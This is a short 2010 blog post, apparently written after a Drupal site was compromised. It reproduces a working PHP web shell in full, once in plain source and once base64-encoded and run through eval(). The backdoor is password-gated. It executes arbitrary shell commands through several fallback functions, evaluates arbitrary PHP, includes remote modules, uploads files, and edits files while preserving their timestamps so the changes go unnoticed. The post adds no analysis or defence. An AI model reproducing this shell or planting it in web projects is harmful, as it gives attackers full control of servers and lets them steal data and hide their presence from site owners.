Wednesday, August 18, 2010

Some drupal scripts got affected today

Some drupal scripts got affected today

<?php
  @set_time_limit(0);
  @error_reporting(2);
  @set_magic_quotes_runtime(0);
  @ini_set('upload_max_filesize',10485760);
  @ini_set('post_max_size',10485760);
  @ini_set('file_uploads', true);
  @ini_set('display_errors',true);
  @ini_set('register_globals',true);
  @ini_set('register_long_arrays',true);
  @ini_set('max_execution_time',false);
  @ini_set('output_buffering',false);
  @ini_set('allow_url_fopen',true);
  $safemode=@ini_get('safe_mode');

  $magic_quotes=1;
  if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();

  $phpver = str_replace('.','',phpversion());
  if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
  if(intval($phpver) < 410){
    $_POST=&$HTTP_POST_VARS;
    $_GET=&$HTTP_GET_VARS;
    $_SERVER=&$HTTP_SERVER_VARS;
    $_COOKIE=&$HTTP_COOKIE_VARS;
    $_FILES=&$HTTP_POST_FILES;
  }
  @ob_end_clean();

  $pw_pls="<form method=post><input type=text name=pw></form>";

  if (empty($_POST['pw'])) exit($pw_pls);
  if (!empty($_POST['pw']) && md5($_POST['pw'])!='a5dc497c9784a67b0ae8503c9ea4c74f') exit($pw_pls);

  $pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";

  if (!empty($_POST['usemodule'])) include($_POST['usemodule']);

  $work_dir = getcwd();
  if (strpos($work_dir,"\\")!==false) $work_dir=str_replace("\\","/",$work_dir);
  if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
  else $os="nix";
  if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
  else $cd = $work_dir;

  if (is_dir($cd)) chdir($cd);

  $run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run'];
  $edit=stripslashes($_POST['edit']);
  if (!@is_file($edit)) $edit=$cd;

  if (!empty($_POST['eval'])) eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);

  if (!empty($_FILES['userfile']['tmp_name']) && is_uploaded_file($_FILES['userfile']['tmp_name'])) {
    $uploaddir = ereg_replace('/+', '/', $cd."/");
    $uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
    move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
  }

  if (isset($_POST['save'])) {
 if ($magic_quotes) $console = stripslashes($_POST['console']);
 else $console = $_POST['console'];
    $time = filemtime($edit);
    $f=@fopen($edit,"w");
    if ($f) {
      fwrite($f,$console);
      fclose($f);
      touch($edit,$time);
      $edit=$cd;
    }
  }

  if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
 if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
    $f=@fopen($edit,"r");
    if ($f) {
      if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
      else $retval = "[empty]";
      fclose($f);
    } else {
      $retval = "Can't open file: $edit\n";
    }
  } elseif (!empty($run)) {
    $cmd = $run;
    $retval = magic_execute($cmd);
  } elseif (file_exists($cd) && @is_dir($cd)) {

 if (!$safemode)
 {
  if ($os=='win')
  {

    $cmd = "dir ".str_replace("/","\\",$cd);
    $retval = magic_execute($cmd);
  }
     else
  {
    $cmd = "ls -la \"$cd\"";
    $retval = magic_execute($cmd);
  }
 }

    if (empty($retval))
 {
  $dir=$cd;
  if($curdir = @opendir($dir)) {
  while($file = readdir($curdir)) {
    if($file != '.' && $file != '..') {
   $srcfile = $dir . '/' . $file;
   if(is_file($srcfile)) {
    if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "++ ".$file."\n";
    else $retval .= "-- ".$file."\n";
   } elseif(is_dir($srcfile)) {
    if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "d+ ".$file."\n";
    else $retval .= "d- ".$file."\n";
   }
    }
  }
  closedir($curdir);
  } else $retval = "Cant open directory\n";
 }


  }

 $id_exec = "cant get uid,gid";

 if ($tmp = magic_execute("id")) $id_exec = $tmp;
 elseif (function_exists('posix_getgid'))
 {
  $uids  = @posix_getlogin();
  $euids = @posix_getlogin();
  $uid   = @posix_getuid();
  $euid  = @posix_geteuid();
  $gid   = @posix_getgid();
  if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";
 }

  echo '<HTML><BODY onload="document.getElementById(\'cdfocus\').focus();"><HR>';
  echo date("d.m.Y h:i A")." OS:$os $id_exec safe_mode=$safemode";
  echo "<HR>";
  if (isset($need_save_button)) echo "<FORM method=post>";
  echo '<TEXTAREA id="console" name="console" style="width:100%;height:400px;">';
  if (isset($retval)) echo htmlspecialchars($retval);
  echo '</TEXTAREA>';
  if (isset($need_save_button)) echo "$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><INPUT type='hidden' name='edit' value='".htmlspecialchars($edit)."'><INPUT type=submit name=save value='Save'></FORM>";
  echo "<HR><FORM method=\"POST\">$pw";
  echo "<table><tr><td>dir:</td><td width=\"100%\"><input type=\"text\" style=\"width:100%;\" id=\"cdfocus\" name=\"cd\" value=\"".htmlspecialchars($cd)."\"></td></tr>".
       "<tr><td>run:</td><td><input type=\"text\" style=\"width:100%;\" name=\"run\" value=\"\"></td></tr>".
       "<tr><td>edit:</td><td><input type=\"text\" style=\"width:100%;\" name=\"edit\" value=\"".htmlspecialchars($edit)."\"></td></tr>".
       "</table>".
       "<input type=\"submit\" value=\"OK\"></FORM>";

  echo "<hr><form enctype=\"multipart/form-data\" method=\"post\">$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"15000000\" />upload: <input name=\"userfile\" type=\"file\" /><input type=\"submit\" value=\"upload\" /></form><hr>";
  echo "<form method=post>$pw<textarea style=\"width:100%;height:100px;\"  name='eval' id='eval'>phpinfo();</textarea><input type=submit value='EvalPHP'></form><hr>";
  echo "use module: <form method=post>$pw<input type='text' name='usemodule'> <input type=submit value='use'></form><hr>";
  echo "</BODY></HTML>";

  exit();


  function can_write($file) {if(file_exists($file)){if (is_file($file)) {$f=@fopen($file,"a+");if($f){fclose($f);return true;}}elseif (is_dir($file)) {if ($file[strlen($file)-1]!='/') $file.='/';$tfile = $file."testxxxtest";if (@touch($tfile)){unlink($tfile);return true;}}}return false;}

 function magic_execute($cmd)
 {
  $res=false;
  if (function_exists('exec'))
  {
   @exec($cmd,$res);
   $res = join("\n",$res);
  }
  else
  if (function_exists('shell_exec'))
   $res = @shell_exec($cmd);
  else
  if (function_exists('system'))
  {
   @ob_start();
   @system($cmd);
   $res = @ob_get_contents();
   @ob_end_clean();
  }
  else
  if(function_exists('passthru'))
  {
   @ob_start();
   @passthru($cmd);
   $res = @ob_get_contents();
   @ob_end_clean();
  }
  else
  if (@is_resource($f = @popen($cmd,"r")))
  {
   $res = "";
   while(!@feof($f)) { $res .= @fread($f,1024); }
   @pclose($f);
  }
  return $res;
 }


/**/
?>

<?php


$str = base64_decode('DQogIEBzZXRfdGltZV9saW1pdCgwKTsNCiAgQGVycm9yX3JlcG9ydGluZygyKTsNCiAgQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCiAgQGluaV9zZXQoJ3VwbG9hZF9tYXhfZmlsZXNpemUnLDEwNDg1NzYwKTsNCiAgQGluaV9zZXQoJ3Bvc3RfbWF4X3NpemUnLDEwNDg1NzYwKTsNCiAgQGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsIHRydWUpOw0KICBAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLHRydWUpOw0KICBAaW5pX3NldCgncmVnaXN0ZXJfZ2xvYmFscycsdHJ1ZSk7DQogIEBpbmlfc2V0KCdyZWdpc3Rlcl9sb25nX2FycmF5cycsdHJ1ZSk7DQogIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLGZhbHNlKTsNCiAgQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLGZhbHNlKTsNCiAgQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsdHJ1ZSk7DQogICRzYWZlbW9kZT1AaW5pX2dldCgnc2FmZV9tb2RlJyk7DQogIA0KICAkbWFnaWNfcXVvdGVzPTE7DQogIGlmIChmdW5jdGlvbl9leGlzdHMoJ2dldF9tYWdpY19xdW90ZXNfZ3BjJykpICRtYWdpY19xdW90ZXM9Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTsNCiAgDQogICRwaHB2ZXIgPSBzdHJfcmVwbGFjZSgnLicsJycscGhwdmVyc2lvbigpKTsNCiAgaWYgKHN0cmxlbigkcGhwdmVyKTwzKSB3aGlsZSAoc3RybGVuKCRwaHB2ZXIpPDMpICRwaHB2ZXIuPScwJzsNCiAgaWYoaW50dmFsKCRwaHB2ZXIpIDwgNDEwKXsNCiAgICAkX1BPU1Q9JiRIVFRQX1BPU1RfVkFSUzsNCiAgICAkX0dFVD0mJEhUVFBfR0VUX1ZBUlM7DQogICAgJF9TRVJWRVI9JiRIVFRQX1NFUlZFUl9WQVJTOw0KICAgICRfQ09PS0lFPSYkSFRUUF9DT09LSUVfVkFSUzsNCiAgICAkX0ZJTEVTPSYkSFRUUF9QT1NUX0ZJTEVTOw0KICB9DQogIEBvYl9lbmRfY2xlYW4oKTsNCg0KICAkcHdfcGxzPSI8Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cHc+PC9mb3JtPiI7DQogIA0KICBpZiAoZW1wdHkoJF9QT1NUWydwdyddKSkgZXhpdCgkcHdfcGxzKTsNCiAgaWYgKCFlbXB0eSgkX1BPU1RbJ3B3J10pICYmIG1kNSgkX1BPU1RbJ3B3J10pIT0nYTVkYzQ5N2M5Nzg0YTY3YjBhZTg1MDNjOWVhNGM3NGYnKSBleGl0KCRwd19wbHMpOw0KICANCiAgJHB3PSI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wdyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncHcnXSkuIic+IjsNCg0KICBpZiAoIWVtcHR5KCRfUE9TVFsndXNlbW9kdWxlJ10pKSBpbmNsdWRlKCRfUE9TVFsndXNlbW9kdWxlJ10pOw0KICANCiAgJHdvcmtfZGlyID0gZ2V0Y3dkKCk7DQogIGlmIChzdHJwb3MoJHdvcmtfZGlyLCJcXCIpIT09ZmFsc2UpICR3b3JrX2Rpcj1zdHJfcmVwbGFjZSgiXFwiLCIvIiwkd29ya19kaXIpOw0KICBpZiAoc3RycG9zKHN1YnN0cigkd29ya19kaXIsMCw1KSwiOiIpIT09ZmFsc2UpICRvcz0id2luIjsNCiAgZWxzZSAkb3M9Im5peCI7DQogIGlmICghZW1wdHkoJF9QT1NUWydjZCddKSkgJGNkPXN0cmlwc2xhc2hlcygkX1BPU1RbJ2NkJ10pOw0KICBlbHNlICRjZCA9ICR3b3JrX2RpcjsNCiAgDQogIGlmIChpc19kaXIoJGNkKSkgY2hkaXIoJGNkKTsNCiAgDQogICRydW49KCRtYWdpY19xdW90ZXMpP3N0cmlwc2xhc2hlcygkX1BPU1RbJ3J1biddKTokX1BPU1RbJ3J1biddOw0KICAkZWRpdD1zdHJpcHNsYXNoZXMoJF9QT1NUWydlZGl0J10pOw0KICBpZiAoIUBpc19maWxlKCRlZGl0KSkgJGVkaXQ9JGNkOw0KICANCiAgaWYgKCFlbXB0eSgkX1BPU1RbJ2V2YWwnXSkpIGV2YWwoKCRtYWdpY19xdW90ZXMpP3N0cmlwc2xhc2hlcygkX1BPU1RbJ2V2YWwnXSk6JF9QT1NUWydldmFsJ10pOw0KICANCiAgaWYgKCFlbXB0eSgkX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfbmFtZSddKSAmJiBpc191cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10pKSB7DQogICAgJHVwbG9hZGRpciA9IGVyZWdfcmVwbGFjZSgnLysnLCAnLycsICRjZC4iLyIpOw0KICAgICR1cGxvYWRmaWxlID0gJHVwbG9hZGRpci5iYXNlbmFtZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyduYW1lJ10pOw0KICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSk7DQogIH0NCiAgDQogIGlmIChpc3NldCgkX1BPU1RbJ3NhdmUnXSkpIHsNCglpZiAoJG1hZ2ljX3F1b3RlcykgJGNvbnNvbGUgPSBzdHJpcHNsYXNoZXMoJF9QT1NUWydjb25zb2xlJ10pOw0KCWVsc2UgJGNvbnNvbGUgPSAkX1BPU1RbJ2NvbnNvbGUnXTsNCiAgICAkdGltZSA9IGZpbGVtdGltZSgkZWRpdCk7DQogICAgJGY9QGZvcGVuKCRlZGl0LCJ3Iik7DQogICAgaWYgKCRmKSB7DQogICAgICBmd3JpdGUoJGYsJGNvbnNvbGUpOw0KICAgICAgZmNsb3NlKCRmKTsNCiAgICAgIHRvdWNoKCRlZGl0LCR0aW1lKTsNCiAgICAgICRlZGl0PSRjZDsNCiAgICB9DQogIH0NCiAgDQogIGlmICghZW1wdHkoJGVkaXQpICYmIGZpbGVfZXhpc3RzKCRlZGl0KSAmJiBpc19maWxlKCRlZGl0KSAmJiAkZWRpdCE9PSRjZCkgew0KCWlmICgkb3M9PSd3aW4nP2Nhbl93cml0ZSgkZWRpdCk6aXNfd3JpdGFibGUoJGVkaXQpKSAkbmVlZF9zYXZlX2J1dHRvbj10cnVlOw0KICAgICRmPUBmb3BlbigkZWRpdCwiciIpOw0KICAgIGlmICgkZikgew0KICAgICAgaWYgKGZpbGVzaXplKCRlZGl0KT4wKSAkcmV0dmFsID0gQGZyZWFkKCRmLGZpbGVzaXplKCRlZGl0KSk7DQogICAgICBlbHNlICRyZXR2YWwgPSAiW2VtcHR5XSI7DQogICAgICBmY2xvc2UoJGYpOw0KICAgIH0gZWxzZSB7DQogICAgICAkcmV0dmFsID0gIkNhbid0IG9wZW4gZmlsZTogJGVkaXRcbiI7DQogICAgfQ0KICB9IGVsc2VpZiAoIWVtcHR5KCRydW4pKSB7DQogICAgJGNtZCA9ICRydW47DQogICAgJHJldHZhbCA9IG1hZ2ljX2V4ZWN1dGUoJGNtZCk7DQogIH0gZWxzZWlmIChmaWxlX2V4aXN0cygkY2QpICYmIEBpc19kaXIoJGNkKSkgew0KICANCglpZiAoISRzYWZlbW9kZSkgDQoJew0KCQlpZiAoJG9zPT0nd2luJykgDQoJCXsNCgkJICANCgkJICAkY21kID0gImRpciAiLnN0cl9yZXBsYWNlKCIvIiwiXFwiLCRjZCk7DQoJCSAgJHJldHZhbCA9IG1hZ2ljX2V4ZWN1dGUoJGNtZCk7DQoJCX0NCgkgICAgZWxzZSANCgkJew0KCQkgICRjbWQgPSAibHMgLWxhIFwiJGNkXCIiOw0KCQkgICRyZXR2YWwgPSBtYWdpY19leGVjdXRlKCRjbWQpOw0KCQl9DQoJfQ0KICANCiAgICBpZiAoZW1wdHkoJHJldHZhbCkpDQoJew0KCQkkZGlyPSRjZDsNCgkJaWYoJGN1cmRpciA9IEBvcGVuZGlyKCRkaXIpKSB7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcigkY3VyZGlyKSkgew0KCQkgIGlmKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7DQoJCQkkc3JjZmlsZSA9ICRkaXIgLiAnLycgLiAkZmlsZTsNCgkJCWlmKGlzX2ZpbGUoJHNyY2ZpbGUpKSB7DQoJCQkJaWYgKCRvcz09J3dpbic/Y2FuX3dyaXRlKCRzcmNmaWxlKTppc193cml0YWJsZSgkc3JjZmlsZSkpICRyZXR2YWwgLj0gIisrICIuJGZpbGUuIlxuIjsNCgkJCQllbHNlICRyZXR2YWwgLj0gIi0tICIuJGZpbGUuIlxuIjsNCgkJCX0gZWxzZWlmKGlzX2Rpcigkc3JjZmlsZSkpIHsNCgkJCQlpZiAoJG9zPT0nd2luJz9jYW5fd3JpdGUoJHNyY2ZpbGUpOmlzX3dyaXRhYmxlKCRzcmNmaWxlKSkgJHJldHZhbCAuPSAiZCsgIi4kZmlsZS4iXG4iOw0KCQkJCWVsc2UgJHJldHZhbCAuPSAiZC0gIi4kZmlsZS4iXG4iOw0KCQkJfQ0KCQkgIH0NCgkJfQ0KCQljbG9zZWRpcigkY3VyZGlyKTsNCgkJfSBlbHNlICRyZXR2YWwgPSAiQ2FudCBvcGVuIGRpcmVjdG9yeVxuIjsNCgl9DQogICAgDQogICAgICANCiAgfQ0KICANCgkkaWRfZXhlYyA9ICJjYW50IGdldCB1aWQsZ2lkIjsNCiAgDQoJaWYgKCR0bXAgPSBtYWdpY19leGVjdXRlKCJpZCIpKSAkaWRfZXhlYyA9ICR0bXA7DQoJZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdpZCcpKQ0KCXsNCgkJJHVpZHMgID0gQHBvc2l4X2dldGxvZ2luKCk7DQoJCSRldWlkcyA9IEBwb3NpeF9nZXRsb2dpbigpOw0KCQkkdWlkICAgPSBAcG9zaXhfZ2V0dWlkKCk7DQoJCSRldWlkICA9IEBwb3NpeF9nZXRldWlkKCk7DQoJCSRnaWQgICA9IEBwb3NpeF9nZXRnaWQoKTsNCgkJaWYgKCFlbXB0eSgkdWlkKSkgJGlkX2V4ZWMgPSAiVXNlcjogdWlkPSR1aWRzKCR1aWQpIGV1aWQ9JGV1aWQoJGV1aWQpIGdpZD0kZ2lkKCRnaWQpIjsNCgl9ICANCiAgDQogIGVjaG8gJzxIVE1MPjxCT0RZIG9ubG9hZD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdjZGZvY3VzXCcpLmZvY3VzKCk7Ij48SFI+JzsNCiAgZWNobyBkYXRlKCJkLm0uWSBoOmkgQSIpLiIgT1M6JG9zICRpZF9leGVjIHNhZmVfbW9kZT0kc2FmZW1vZGUiOw0KICBlY2hvICI8SFI+IjsNCiAgaWYgKGlzc2V0KCRuZWVkX3NhdmVfYnV0dG9uKSkgZWNobyAiPEZPUk0gbWV0aG9kPXBvc3Q+IjsNCiAgZWNobyAnPFRFWFRBUkVBIGlkPSJjb25zb2xlIiBuYW1lPSJjb25zb2xlIiBzdHlsZT0id2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7Ij4nOw0KICBpZiAoaXNzZXQoJHJldHZhbCkpIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkcmV0dmFsKTsNCiAgZWNobyAnPC9URVhUQVJFQT4nOw0KICBpZiAoaXNzZXQoJG5lZWRfc2F2ZV9idXR0b24pKSBlY2hvICIkcHc8SU5QVVQgdHlwZT0naGlkZGVuJyBuYW1lPSdjZCcgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkY2QpLiInPjxJTlBVVCB0eXBlPSdoaWRkZW4nIG5hbWU9J2VkaXQnIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGVkaXQpLiInPjxJTlBVVCB0eXBlPXN1Ym1pdCBuYW1lPXNhdmUgdmFsdWU9J1NhdmUnPjwvRk9STT4iOw0KICBlY2hvICI8SFI+PEZPUk0gbWV0aG9kPVwiUE9TVFwiPiRwdyI7DQogIGVjaG8gIjx0YWJsZT48dHI+PHRkPmRpcjo8L3RkPjx0ZCB3aWR0aD1cIjEwMCVcIj48aW5wdXQgdHlwZT1cInRleHRcIiBzdHlsZT1cIndpZHRoOjEwMCU7XCIgaWQ9XCJjZGZvY3VzXCIgbmFtZT1cImNkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGNkKS4iXCI+PC90ZD48L3RyPiIuDQogICAgICAgIjx0cj48dGQ+cnVuOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIHN0eWxlPVwid2lkdGg6MTAwJTtcIiBuYW1lPVwicnVuXCIgdmFsdWU9XCJcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAiPHRyPjx0ZD5lZGl0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIHN0eWxlPVwid2lkdGg6MTAwJTtcIiBuYW1lPVwiZWRpdFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRlZGl0KS4iXCI+PC90ZD48L3RyPiIuDQogICAgICAgIjwvdGFibGU+Ii4NCiAgICAgICAiPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIk9LXCI+PC9GT1JNPiI7DQogICAgICANCiAgZWNobyAiPGhyPjxmb3JtIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgbWV0aG9kPVwicG9zdFwiPiRwdzxJTlBVVCB0eXBlPSdoaWRkZW4nIG5hbWU9J2NkJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRjZCkuIic+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiTUFYX0ZJTEVfU0laRVwiIHZhbHVlPVwiMTUwMDAwMDBcIiAvPnVwbG9hZDogPGlucHV0IG5hbWU9XCJ1c2VyZmlsZVwiIHR5cGU9XCJmaWxlXCIgLz48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwidXBsb2FkXCIgLz48L2Zvcm0+PGhyPiI7DQogIGVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0PiRwdzx0ZXh0YXJlYSBzdHlsZT1cIndpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4O1wiICBuYW1lPSdldmFsJyBpZD0nZXZhbCc+cGhwaW5mbygpOzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFdmFsUEhQJz48L2Zvcm0+PGhyPiI7DQogIGVjaG8gInVzZSBtb2R1bGU6IDxmb3JtIG1ldGhvZD1wb3N0PiRwdzxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1c2Vtb2R1bGUnPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ndXNlJz48L2Zvcm0+PGhyPiI7DQogIGVjaG8gIjwvQk9EWT48L0hUTUw+IjsNCiAgDQogIGV4aXQoKTsNCiAgDQogIA0KICBmdW5jdGlvbiBjYW5fd3JpdGUoJGZpbGUpIHtpZihmaWxlX2V4aXN0cygkZmlsZSkpe2lmIChpc19maWxlKCRmaWxlKSkgeyRmPUBmb3BlbigkZmlsZSwiYSsiKTtpZigkZil7ZmNsb3NlKCRmKTtyZXR1cm4gdHJ1ZTt9fWVsc2VpZiAoaXNfZGlyKCRmaWxlKSkge2lmICgkZmlsZVtzdHJsZW4oJGZpbGUpLTFdIT0nLycpICRmaWxlLj0nLyc7JHRmaWxlID0gJGZpbGUuInRlc3R4eHh0ZXN0IjtpZiAoQHRvdWNoKCR0ZmlsZSkpe3VubGluaygkdGZpbGUpO3JldHVybiB0cnVlO319fXJldHVybiBmYWxzZTt9DQoJDQoJZnVuY3Rpb24gbWFnaWNfZXhlY3V0ZSgkY21kKQ0KCXsNCgkJJHJlcz1mYWxzZTsNCgkJaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQ0KCQl7DQoJCQlAZXhlYygkY21kLCRyZXMpOw0KCQkJJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCgkJfQ0KCQllbHNlDQoJCWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkNCgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY21kKTsNCgkJZWxzZQ0KCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkNCgkJew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAc3lzdGVtKCRjbWQpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCgkJfQ0KCQllbHNlDQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCgkJew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAcGFzc3RocnUoJGNtZCk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9DQoJCWVsc2UNCgkJaWYgKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY21kLCJyIikpKQ0KCQl7DQoJCQkkcmVzID0gIiI7DQoJCQl3aGlsZSghQGZlb2YoJGYpKSB7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9DQoJCQlAcGNsb3NlKCRmKTsNCgkJfQ0KCQlyZXR1cm4gJHJlczsNCgl9DQoNCg==');


echo eval($str);



?>

No comments: